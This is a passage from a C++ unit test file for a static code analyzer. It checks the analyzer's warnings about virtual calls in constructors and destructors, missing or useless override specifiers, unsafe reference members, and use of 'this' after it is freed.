checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 